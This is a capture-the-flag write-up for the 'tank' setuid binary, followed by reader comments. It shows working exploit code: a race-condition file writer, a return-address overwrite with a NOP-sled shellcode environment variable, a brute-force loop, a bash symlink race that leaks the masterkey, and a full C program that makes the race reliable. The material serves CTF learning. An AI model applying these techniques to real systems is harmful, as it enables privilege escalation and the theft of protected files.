Get the tank is a fun little binary exploitation and really just a simple buffer overflow. The functionality of the program generally follows below.
1. Make sure that there are two arguments
2. Create a random, 16 character session ID and put it in the file .sessionid
2a. CLOSE THE FILE .sessionid <-- This is important
3. Compare the entered password to whatever is in the masterkey file
4. When we fail (and we want to fail)
4a. Open the .sessionid file
4b. Read up to 29 bytes into a buffer that is only 20 bytes large
So we have to somehow change the contents of the .sessionid file while the program is running. So we write a little C program which just writes as fast as it can to the file.
#include
int main(int argc, char **argv) {
FILE * file = fopen('.sessionid', 'a+');
while (1) {
fprintf(file, '%s', 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa');
fflush(file);
}
}
We have now established a race condition that will (hopefully) cause the file to load arbitrary things that we write in the file. So we fire up our program that we wrote and then run ./tank.
Segmentation Fault
Now we just need to run tank locally (because of seteuid) to figure out the offset where we can control the return address. By using gdb, we figure out that we need 36 bytes and then a return address. Our refined file write is
fprintf(file, '%s', 'bcdefgijklmnopqrstuvwxyzabcdefghijkl\x98\xd4\x9f\xff');
Luckily, the stack is executable (I'd suggest looking at
checksec.sh if you don't already know about it), so we can put some shellcode after a big 'ol NOP sled in an environment variable.
export BOB=`python -c "print '\x90'*100000 + open('shellcode', 'rb').read()"`
After we've made this environment variable, we just have to run gdb and find an address in the stack where the environment variable might be. we put this as the address in the fprintf, start our filewriter, and start bruteforcing the stack address of our NOP sled.
while true; do ./tank 1234; sleep 0.25; done
After about 15 misses, we hit our NOP sled and dropped into a shell with privileges of tank. We cat /home/tank/masterkey and win!
-- suntzu_II
Cool, but unnecessary complex. You can make tank read the masterkey itself by making sessionfile a symlink - it the outputs its contents to logfile =)
ReplyDeleteThe following bash did the trick for us:
for i in {1..1000} ; do
rm -f .sessionid
(sleep 0.1 ; ~/tank sadhfkjshdfkjh) &
pid=$!
while true ; do
if [ -f .sessionid ] ; then
ln -sf /home/ctf/masterkey .sessionid
break
fi
done
wait $pid
done
After that the logfile contained the flag as one of the session ids.
That's a really cool way of doing it. I didn't even think of that...
DeleteWell, we totally thought that this was the proper way to do this is the symlinking - otherwise why bother writing a log?
DeleteBut, as someone mentioned on ctftime (https://ctftime.org/task/138/), symlinking wasn't how the devs intended that task to be solved.
You can even make this reliable by redirecting stdout of `tank' to
Deletea pipe which you previously filled up to the limit. In this case `tank'
will block on fflush(stdout) and you have enough time to do the symlinking ;)
Some C code (obviously not as simple as your shell script):
#include
#include
#include
#include
#include
#include
#define READ 0
#define WRITE 1
#define SESSION_FILE ".sessionid"
#define LOG_FILE "log"
#define MASTER_KEY_FILE "/home/ctf/masterkey"
#define TARGET_EXEC "/home/ctf/tank"
static int pipefd[2];
static void
check_pipe(void)
{
int count = 0;
while (1) {
fprintf(stderr, "byte %d\n", count);
if (write(pipefd[WRITE], "A", 1) != 1) {
fprintf(stderr, "Oh come on!\n");
exit(1);
}
count++;
}
/* Not reached */
}
static void
read_log(void)
{
char buf[1024];
int read_n;
FILE *f;
memset(buf, '\0', sizeof(buf));
f = fopen(LOG_FILE, "r");
if (!f) {
fprintf(stderr, "Could not open log\n");
exit(1);
}
read_n = fread(buf, 1, sizeof(buf), f);
buf[read_n - 1] = '\0';
printf("Read %d bytes:\n%s\n", read_n, buf);
fclose(f);
}
static int
fill_pipe_and_spawn_child(int pipesz)
{
pid_t pid;
int count = 0;
char buf[] = {"A"};
/* Fill up the pipe */
while (count++ < pipesz) {
if (write(pipefd[WRITE], buf, 1) != 1) {
fprintf(stderr, "Oh come on!\n");
exit(1);
}
}
printf("Forking!\n");
pid = fork();
if (pid == 0) {
dup2(pipefd[WRITE], STDOUT_FILENO);
close(pipefd[READ]);
fprintf(stderr, "Child: exec...\n");
execl(TARGET_EXEC, "tank", "dummypass", NULL);
fprintf(stderr, "Child: exec failure...\n");
exit(1);
} else if (pid > 0) {
close(pipefd[WRITE]);
/* Sleep for a second */
sleep(1);
/* Drop the .sessionid file */
unlink(SESSION_FILE);
unlink(LOG_FILE);
symlink(MASTER_KEY_FILE, SESSION_FILE);
sleep(1);
/* Make some room for child output */
while (buf[0] == 'A') {
if (read(pipefd[READ], buf, 1) != 1) {
fprintf(stderr, "Oh come on!\n");
exit(1);
}
}
fprintf(stderr, "Reading done...\n");
/* wait for the child */
wait(NULL);
} else {
fprintf(stderr, "Oh my, fork failed\n");
exit(1);
}
return 0;
}
int
main(int argc, char *argv[])
{
if (pipe(pipefd)) {
fprintf(stderr, "Oh my, pipe() failed\n");
exit(1);
}
if (argc == 1) {
check_pipe();
} else if (argc == 2) {
/* Make sure our old link does not exist */
unlink(SESSION_FILE);
fill_pipe_and_spawn_child(atoi(argv[1]));
read_log();
} else {
fprintf(stderr, "Usage: %s []\n", argv[0]);
fprintf(stderr, "Without arguments, check pipe size.\n");
fprintf(stderr, "Else, fill pipe, fork, exec, profit!\n");
return 1;
}
return 0;
}
Hello Sir, may I know what shellcode you used ? or is it a custom one ?
ReplyDeleteWe wrote custom shellcode for this one. If you want a tool that generates decent shellcode, I'd suggest you take a look at Backtrack's msfvenom and msfpayload tools. They are quite nice.
Delete